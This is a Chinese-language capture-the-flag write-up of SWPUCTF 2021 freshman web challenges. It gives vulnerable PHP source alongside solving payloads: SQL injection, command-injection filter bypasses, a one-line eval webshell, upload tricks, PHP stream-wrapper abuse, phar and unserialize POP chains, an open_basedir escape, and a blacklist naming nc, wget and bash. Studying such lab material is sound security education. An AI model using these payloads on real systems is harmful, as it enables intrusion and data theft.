[SWPUCTF 2021 新生赛] web
目录
gift_F12
源码目录找flag
caidao
简单的rce
jicao
-
-
highlight_file('index.php');
-
include("flag.php");
-
$id=$_POST['id'];
-
$json=json_decode($_GET['json'],true);
-
if ($id=="wllmNB"&&$json['x']=="wllm")
-
{echo $flag;}
-
json字符串例子
json['x']=wllm 的json格式是 {"x":"wllm"}
easy_md5
-
if ($name != $password && md5($name) == md5($password)){
-
echo $flag;
-
}
数组绕过
name[]=1
password[]=2
easy_sql
-
/?wllm=-1' union select 1,2,3--
-
-
/?wllm=-1' union select 1,2,database()--
-
-
/?wllm=-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--
-
-
/?wllm=-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='test_tb')--
-
-
/?wllm=-1' union select 1,2,(select group_concat(flag)from test_tb)--
easyrce
-
if(isset($_GET['url']))
-
{
-
eval($_GET['url']);
/?url=system('cat /fl*');
babyrce
-
if (isset($_GET['url'])) {
-
$ip=$_GET['url'];
-
if(preg_match("/ /", $ip)){
-
die('nonono');
-
}
-
$a = shell_exec($ip);
-
echo $a;
就是过滤空格,rce时候不能ls /
${IFS} 代替空格
/rasalghul.php?url=cat${IFS}/fl*
ez_unserialize
-
class wllm{
-
-
public $admin;
-
public $passwd;
-
-
public function __construct(){
-
$this->admin ="user";
-
$this->passwd = "123456";
-
}
-
-
public function __destruct(){
-
if($this->admin === "admin" && $this->passwd === "ctf"){
-
include("flag.php");
-
echo $flag;
-
}else{
-
echo $this->admin;
-
echo $this->passwd;
-
echo "Just a bit more!";
-
}
-
}
-
}
-
-
$p = $_GET['p'];
-
unserialize($p);
简单构造
-
-
class wllm{
-
public $admin;
-
public $passwd;
-
public function __construct(){
-
$this->admin ="admin";
-
$this->passwd = "ctf";
-
}
-
}
-
-
$p = new wllm();
-
echo serialize($p);
include
filter 伪协议
no_wakeup
-
-
class HaHaHa{
-
-
-
public $admin;
-
public $passwd;
-
-
public function __construct(){
-
$this->admin ="user";
-
$this->passwd = "123456";
-
}
-
-
public function __wakeup(){
-
$this->passwd = sha1($this->passwd);
-
}
-
-
public function __destruct(){
-
if($this->admin === "admin" && $this->passwd === "wllm"){
-
include("flag.php");
-
echo $flag;
-
}else{
-
echo $this->passwd;
-
echo "No wake up";
-
}
-
}
-
}
-
-
$Letmeseesee = $_GET['p'];
-
unserialize($Letmeseesee);
修改属性个数绕__wakeup()
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
改成
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
Do_you_know_http
使用WLLM浏览器
bp抓包修改UA
easyupload1.0
Content-Type 修改
直接蚁剑
真的flag在phpinfo()中
easyupload2.0
图片马上传进去,改名phtml
蚁剑连
easyupload3.0
.htaccess 解析图片马
error
报错注入
-
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --
-
-
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--
-
-
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1),0x7e),1)--
-
-
这里涉及到flag显示一半的问题
-
-
?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--
-
?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--
hardrce 无数字字母rce
-
if(isset($_GET['wllm']))
-
{
-
$wllm = $_GET['wllm'];
-
$blacklist = [' ','\t','\r','\n','\ ','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
-
foreach ($blacklist as $blackitem)
-
{
-
if (preg_match('/' . $blackitem . '/m', $wllm)) {
-
die("LTLT说不能用这些奇奇怪怪的符号哦!");
-
}}
-
if(preg_match('/[a-zA-Z]/is',$wllm))
-
{
-
die("Ra's Al Ghul说不能用字母哦!");
-
}
-
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
-
eval($wllm);
-
}
无字母数字rce
能过虑的都过虑了,发现~没有过虑,可以进行取反
php取反rce的脚本:
-
-
fwrite(STDOUT,'[ ]your function: ');
-
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
-
fwrite(STDOUT,'[ ]your command: ');
-
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
-
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
hardrce_3 无数字字母rce
-
if(isset($_GET['wllm']))
-
{
-
$wllm = $_GET['wllm'];
-
$blacklist = [' ','\^','\~','\|'];
-
foreach ($blacklist as $blackitem)
-
{
-
if (preg_match('/' . $blackitem . '/m', $wllm)) {
-
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
-
}}
-
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
-
{
-
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
-
}
-
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
-
eval($wllm);
-
}
这里取反~不能用了
-
//测试发现7.0.12以上版本不可使用
-
//使用时需要url编码下
-
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$___.=$__;$___.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$___.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$___.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$___.=$__;$____='_';$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$____.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$____.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$____.=$__;$__=$_;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$__ ;$____.=$__;$_=$$____;$___($_[_]);
-
固定格式 构造出来的 assert($_POST[_]);
-
然后post传入 _=phpinfo();
发现system,exec,shell_exec,popen,proc_open,passthru被禁用 ,同时设置了open_basedir,无法看到文件
但是可以用file_put_contents(,)
_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
访问1.php
finalrce 无回显rce
-
if(isset($_GET['url']))
-
{
-
$url=$_GET['url'];
-
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
-
{
-
echo "Sorry,you can't use this.";
-
}
-
else
-
{
-
echo "Can you see anything?";
-
exec($url);
-
}
没有过滤|这个符号,然后exec执行是没有回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。
过滤了ls 可以用l\s 来代替
然后访问1.txt
/?url=tac /flllll\aaaaaaggggggg | tee 2.txt
PseudoProtocols 伪协议
filter协议读
/index.php?wllm=php://filter/convert.base64-encode/resource=hint.php
-
$a= $_GET["a"];
-
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
-
echo "success\n";
-
echo $flag;
data 协议写入内容
/test2222222222222.php?a=data://text/plain,I want flag
pop
-
class w44m{
-
-
private $admin = 'aaa';
-
protected $passwd = '123456';
-
-
public function Getflag(){
-
if($this->admin === 'w44m' && $this->passwd ==='08067'){
-
include('flag.php');
-
echo $flag;
-
}else{
-
echo $this->admin;
-
echo $this->passwd;
-
echo 'nono';
-
}
-
}
-
}
-
-
class w22m{
-
public $w00m;
-
public function __destruct(){
-
echo $this->w00m;
-
}
-
}
-
-
class w33m{
-
public $w00m;
-
public $w22m;
-
public function __toString(){
-
$this->w00m->{$this->w22m}();
-
return 0;
-
}
-
}
-
-
$w00m = $_GET['w00m'];
-
unserialize($w00m);
就三个类,__destruct入口 调用__toString() , echo是针对字符串的
__toString()去调用Getflag(),也就是 $this->w22m=Getflag
序列化链
-
-
class w44m{
-
private $admin = 'w44m';
-
protected $passwd = '08067';
-
-
public function Getflag(){
-
if($this->admin === 'w44m' && $this->passwd ==='08067'){
-
include('flag.php');
-
echo $flag;
-
}else{
-
echo $this->admin;
-
echo $this->passwd;
-
echo 'nono';
-
}
-
}
-
}
-
-
class w22m{
-
public $w00m;
-
public function __destruct(){
-
echo $this->w00m;
-
}
-
}
-
-
class w33m{
-
public $w00m;
-
public $w22m;
-
public function __toString(){
-
$this->w00m->{$this->w22m}();
-
return 0;
-
}
-
}
-
-
$a=new w44m();
-
$b=new w22m();
-
$c=new w33m();
-
-
$b->w00m=$c;
-
$c->w00m=$a;
-
$c->w22m="Getflag";
-
-
echo urlencode(serialize($b));
有私有属性一定要url编码一下
sql
有waf ,fuzz一下
这些都过滤了,主要是空格 = ban了
空格用/**/,=用like ,然后-- 和 #不能用,# 来闭合
payload:
-
/?wllm=-1'/**/union/**/select/**/1,2,database()#
-
-
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
-
-
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag#
读flag字段时,值显示出一半的flag,right,left,substr都过滤了,可以考虑用mid
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,40)/**/from/**/LTLT_flag#
Baby_Web 变量覆盖
CVE-2021-41773
简单来说: 检测路径中是否存在%字符,并且如果%后面的两个字符是十六进制字符,就会对后面的两个字符进行url解码转化,如路径中有../,则会解码为../,转换后判断是否存在../,加入路径中使用../则能绕过,导致目录穿越漏洞,因为当遍历到第一个.时,后面两个字符是%2并不是./,就不会被处理,绕过检测。
目录穿越 ,dirsearch能扫到
-
-
error_reporting(0);
-
define("main","main");
-
include "Class.php";
-
$temp = new Temp($_POST);
-
$temp->display($_GET['filename']);
-
-
还有个Class.php
-
<?php
-
defined('main') or die("no!!");
-
Class Temp{
-
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
-
private $template;
-
public function __construct($data){
-
-
$this->date = array_merge($this->date,$data);
-
}
-
public function getTempName($template,$dir){
-
if($dir === 'admin'){
-
$this->template = str_replace('..','','./template/admin/'.$template);
-
if(!is_file($this->template)){
-
die("no!!");
-
}
-
}
-
else{
-
$this->template = './template/index.html';
-
}
-
}
-
public function display($template,$space=''){
-
-
extract($this->date);
-
$this->getTempName($template,$space);
-
include($this->template);
-
}
-
public function listdata($_params){
-
$system = [
-
'db' => '',
-
'app' => '',
-
'num' => '',
-
'sum' => '',
-
'form' => '',
-
'page' => '',
-
'site' => '',
-
'flag' => '',
-
'not_flag' => '',
-
'show_flag' => '',
-
'more' => '',
-
'catid' => '',
-
'field' => '',
-
'order' => '',
-
'space' => '',
-
'table' => '',
-
'table_site' => '',
-
'total' => '',
-
'join' => '',
-
'on' => '',
-
'action' => '',
-
'return' => '',
-
'sbpage' => '',
-
'module' => '',
-
'urlrule' => '',
-
'pagesize' => '',
-
'pagefile' => '',
-
];
-
-
$param = $where = [];
-
-
$_params = trim($_params);
-
-
$params = explode(' ', $_params);
-
if (in_array($params[0], ['list','function'])) {
-
$params[0] = 'action='.$params[0];
-
}
-
foreach ($params as $t) {
-
$var = substr($t, 0, strpos($t, '='));
-
$val = substr($t, strpos($t, '=') 1);
-
if (!$var) {
-
continue;
-
}
-
if (isset($system[$var])) {
-
$system[$var] = $val;
-
} else {
-
$param[$var] = $val;
-
}
-
}
-
// action
-
switch ($system['action']) {
-
-
case 'function':
-
-
if (!isset($param['name'])) {
-
return 'hacker!!';
-
} elseif (!function_exists($param['name'])) {
-
return 'hacker!!';
-
}
-
-
$force = $param['force'];
-
if (!$force) {
-
$p = [];
-
foreach ($param as $var => $t) {
-
if (strpos($var, 'param') === 0) {
-
$n = intval(substr($var, 5));
-
$p[$n] = $t;
-
}
-
}
-
if ($p) {
-
-
$rt = call_user_func_array($param['name'], $p);
-
} else {
-
$rt = call_user_func($param['name']);
-
}
-
return $rt;
-
}else{
-
return null;
-
}
-
case 'list':
-
return json_encode($this->date);
-
}
-
return null;
-
}
-
}
可以看到在index.php中get传参
它对我们传参的值进行display方法
-
public function display($template,$space=''){
-
-
extract($this->date);
-
$this->getTempName($template,$space);
-
include($this->template);
-
}
然后经过extract,再进行getTempName方法
-
public function getTempName($template,$dir){
-
if($dir === 'admin'){
-
$this->template = str_replace('..','','./template/admin/'.$template);
-
if(!is_file($this->template)){
-
die("no!!");
-
}
-
}
这里给了个目录/template/admin/
我们试着直接访问一下
我们会发现 它会调用listdata方法
然后我们在listadta方法中发现危险函数
-
$rt = call_user_func_array($param['name'], $p);
-
$rt = call_user_func($param['name']);
利用 call_user_func()
我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === ‘admin’,所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量
审代码
-
$_params = trim($_params);//删除两侧多余的空格
-
$params = explode(' ', $_params);//以空格分隔成数组
-
if (in_array($params[0], ['list','function'])) {
-
$params[0] = 'action='.$params[0];
-
}
-
foreach ($params as $t) {//遍历新⽣成的数组
-
$var = substr($t, 0, strpos($t, '='));//key
-
$val = substr($t, strpos($t, '=') 1);//value
-
if (!$var) {
-
continue;
-
}
-
if (isset($system[$var])) {
-
$system[$var] = $val;
-
} else {
-
$param[$var] = $val;//数组定义
-
}
-
}
数组定义
-
switch ($system['action']) {//把key为action的值来比较
-
-
case 'function':
-
-
if (!isset($param['name'])) {//必须有key为name
-
return 'hacker!!';
-
} elseif (!function_exists($param['name']))//还必须被定义
-
{
-
return 'hacker!!';
-
}
-
-
$force = $param['force'];
-
if (!$force) {
-
$p = [];//我们只需要这一步定义
-
foreach ($param as $var => $t) {
-
if (strpos($var, 'param') === 0) {
-
$n = intval(substr($var, 5));
-
$p[$n] = $t;
-
}
-
}
-
if ($p) {
-
$rt = call_user_func_array($param['name'], $p);
-
} else {
-
$rt = call_user_func($param['name']);//利用的key为name的value值
-
}
payload:
-
URL?filename=index.html
-
-
(POST)space=admin&mod=123 action=function name=phpinfo
babyunser phar反序列化
尝试上传,自动解析成txt文件
文件查看可以查到源码
read.php
-
-
error_reporting(0);
-
$filename=$_POST['file'];
-
if(!isset($filename)){
-
die();
-
}
-
$file=new zz($filename);
-
$contents=$file->getFile();
-
upload.php
-
-
if(isset($_POST['submit'])){
-
$upload_path="upload/".md5(time()).".txt";
-
$temp_file = $_FILES['upload_file']['tmp_name'];
-
if (move_uploaded_file($temp_file, $upload_path)) {
-
echo "文件路径:".$upload_path;
-
} else {
-
$msg = '上传失败';
-
}
-
}
class.php
-
-
class aa{
-
public $name;
-
-
public function __construct(){
-
$this->name='aa';
-
}
-
-
public function __destruct(){
-
$this->name=strtolower($this->name);
-
}
-
}
-
-
class ff{
-
private $content;
-
public $func;
-
-
public function __construct(){
-
$this->content="\<?php @eval(\$_POST[1]);?>";
-
}
-
-
public function __get($key){
-
$this->$key->{$this->func}($_POST['cmd']);
-
}
-
}
-
-
class zz{
-
public $filename;
-
public $content='surprise';
-
-
public function __construct($filename){
-
$this->filename=$filename;
-
}
-
-
public function filter(){
-
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
-
die('这不合理');
-
}
-
}
-
-
public function write($var){
-
$filename=$this->filename;
-
$lt=$this->filename->$var;
-
//此功能废弃,不想写了
-
}
-
-
public function getFile(){
-
$this->filter();
-
$contents=file_get_contents($this->filename);
-
if(!empty($contents)){
-
return $contents;
-
}else{
-
die("404 not found");
-
}
-
}
-
-
public function __toString(){
-
$this->{$_POST['method']}($_POST['var']);
-
return $this->content;
-
}
-
}
-
-
class xx{
-
public $name;
-
public $arg;
-
-
public function __construct(){
-
$this->name='eval';
-
$this->arg='phpinfo();';
-
}
-
-
public function __call($name,$arg){
-
$name($arg[0]);
-
}
-
}
顺着魔术方法构造
poc
-
-
class aa{
-
public $name;
-
function __construct(){
-
$this->name = new zz();
-
}
-
}
-
-
class ff{
-
private $content;
-
public $func = "assert";
-
function __construct(){
-
$this->content = new xx();
-
}
-
}
-
-
class zz{
-
public $filename;
-
public $content='surprise';
-
function __construct(){
-
$this->filename = new ff();
-
}
-
-
}
-
-
class xx{
-
public $name;
-
public $arg;
-
}
-
-
$a = new aa();
-
echo urlencode(serialize($a));
-
-
# 下面这部分就没改
-
$phar = new Phar("phar.phar");
-
$phar->startBuffering();
-
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
-
-
$phar->setMetadata($a); //将自定义的meta-data存入manifest
-
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
-
//签名自动计算
-
$phar->stopBuffering();
生成phar文件 上传进去
然后在read.php 这里post
SimplePHP phar反序列化
查看文件这里可以看到源码
file.php ,提供了get传参
-
-
header("content-type:text/html;charset=utf-8");
-
include 'function.php';
-
include 'class.php';
-
ini_set('open_basedir','/var/www/html/');
-
$file = $_GET["file"] ? $_GET['file'] : "";
-
if(empty($file)) {
-
echo "<h2>There is no file to show!<h2/>";
-
}
-
$show = new Show();
-
if(file_exists($file)) {
-
$show->source = $file;
-
$show->_show();
-
} else if (!empty($file)){
-
die('file doesn\'t exists.');
-
}
-
主要看
class.php
-
-
class C1e4r
-
{
-
public $test;
-
public $str;
-
public function __construct($name)
-
{
-
$this->str = $name;
-
}
-
public function __destruct()
-
{
-
$this->test = $this->str;
-
echo $this->test;
-
}
-
}
-
-
class Show
-
{
-
public $source;
-
public $str;
-
public function __construct($file)
-
{
-
$this->source = $file; //$this->source = phar://phar.jpg
-
echo $this->source;
-
}
-
public function __toString()
-
{
-
$content = $this->str['str']->source;
-
return $content;
-
}
-
public function __set($key,$value)
-
{
-
$this->$key = $value;
-
}
-
public function _show()
-
{
-
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
-
die('hacker!');
-
} else {
-
highlight_file($this->source);
-
}
-
-
}
-
public function __wakeup()
-
{
-
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
-
echo "hacker~";
-
$this->source = "index.php";
-
}
-
}
-
}
-
class Test
-
{
-
public $file;
-
public $params;
-
public function __construct()
-
{
-
$this->params = array();
-
}
-
public function __get($key)
-
{
-
return $this->get($key);
-
}
-
public function get($key)
-
{
-
if(isset($this->params[$key])) {
-
$value = $this->params[$key];
-
} else {
-
$value = "index.php";
-
}
-
return $this->file_get($value);
-
}
-
public function file_get($value)
-
{
-
$text = base64_encode(file_get_contents($value));
-
return $text;
-
}
-
}
-
Test类:
创建对象时$params转化为数组,当调用未定义的属性或没有权限访问的属性时__get方法触发,调用get函数,get函数的$key传递给file_get函数的$value,file_get函数再将$value经过file_get_contents函数处理和base64编码传递给$test并输出。
分析完我们应当是想通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get,所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring方法
-
public function __toString()
-
{
-
$content = $this->str['str']->source;
-
return $content;
-
}
问对象的souce属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get
方法,那么现在的问题变成了__tostring
的触发,看C1e4r类中的__destruct ,
echo出test
正好可以触发__tostring
整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()
-
-
class C1e4r
-
{
-
public $test;
-
public $str;
-
}
-
-
class Show
-
{
-
public $source;
-
public $str;
-
}
-
-
class Test
-
{
-
//Test类中没有source属性,可以根据这个调用__get()函数
-
public $file;
-
public $params;//数组类型的数值
-
}
-
-
-
$a = new C1e4r();
-
$b = new Show();
-
$c = new Test();
-
-
$a->str = $b;
-
$b->str['str'] = $c;
-
$c->params['source'] = "/var/www/html/f1ag.php";
-
-
@unlink('test.phar');
-
-
$phar=new Phar('test.phar');
-
$phar->startBuffering();
-
$phar->setStub('<?php __HALT_COMPILER(); ?>');
-
$phar->setMetadata($a);//链子以$a为起点
-
$phar->addFromString("test.txt","test");
-
$phar->stopBuffering();
-
根据上传功能的源码phar文件要改名,然后访问upload目录
以phar协议读取
文件查看器 phar反序列化
这题有点难啊
WP篇之解析GFCTF---文件查看器 | Arsene.Tang
admin , admin 登录进去
www.zip源码泄露
Files.class.php
-
-
class Files{
-
public $filename;
-
-
public function __construct(){
-
$this->log();
-
}
-
-
public function read(){
-
include("view/file.html");
-
if(isset($_POST['file'])){
-
$this->filename=$_POST['file'];
-
}else{
-
die("请输入文件名");
-
}
-
$contents=$this->getFile();
-
echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
-
}
-
-
public function filter(){
-
if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
-
echo "这合理吗";
-
throw new Error("这不合理");
-
}
-
}
-
-
public function getFile(){
-
$contents=file_get_contents($this->filename);
-
$this->filter();
-
if(isset($_POST['write'])){
-
file_put_contents($this->filename,$contents);
-
}
-
if(!empty($contents)){
-
return $contents;
-
}else{
-
die("该文件不存在或者内容为空");
-
}
-
}
-
-
public function log(){
-
$log=new Myerror();
-
}
-
-
public function __get($key){
-
($key)($this->arg);
-
}
-
}
Myerror.class.php
-
-
class Myerror{
-
public $message;
-
-
public function __construct(){
-
ini_set('error_log','/var/www/html/log/error.txt');
-
ini_set('log_errors',1);
-
}
-
-
public function __tostring(){
-
$test=$this->message->{$this->test};
-
return "test";
-
}
-
}
User.class.php
-
-
error_reporting(0);
-
class User{
-
public $username;
-
public $password;
-
-
public function login(){
-
include("view/login.html");
-
if(isset($_POST['username'])&&isset($_POST['password'])){
-
$this->username=$_POST['username'];
-
$this->password=$_POST['password'];
-
if($this->check()){
-
header("location:./?c=Files&m=read");
-
}
-
}
-
}
-
-
public function check(){
-
if($this->username==="admin" && $this->password==="admin"){
-
return true;
-
}else{
-
echo "{$this->username}的密码不正确或不存在该用户";
-
return false;
-
}
-
}
-
-
public function __destruct(){
-
(@$this->password)();
-
}
-
-
public function __call($name,$arg){
-
($name)();
-
}
-
}
头部在
User
类的__desctruct
中,然后尾部是在Files
类中的__get
中,里面可以执行任意命令;头部首先进入了__desctruct()
后,可以通过数组的形式访问任意类的任意方法,那我们就让它访问User
类的check()
方法中,然后这里有echo
,以字符串的形式输出对象,然后就会跳到Myerror
类中的__tostring()
方法中,然后它里面的$this->test
是可控的,我们让它等于一个Files
类里面没有的属性就行了,就可以直接调用__get
方法了,并且给$key
赋值
poc链:
-
-
class Files{
-
public $filename;
-
-
public function __construct(){
-
$this->arg = 'cat /f*';
-
}
-
}
-
class Myerror{
-
public $message;
-
-
public function __construct(){
-
$this -> test = 'system';
-
$this -> message = new Files();
-
}
-
}
-
class User{
-
public $username = 'admin';
-
public function __construct(){
-
//$this -> password = [$this,"check"];
-
$this -> username = new Myerror();
-
}
-
-
}
-
$a = new User();
-
$a -> password = [new User(),"check"];
-
echo serialize($a);
后面理解有点费劲了
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhfigbgg
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
excel下划线不显示怎么办
PHP中文网 06-23 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
photoshop蒙版画笔没反应怎么办
PHP中文网 06-24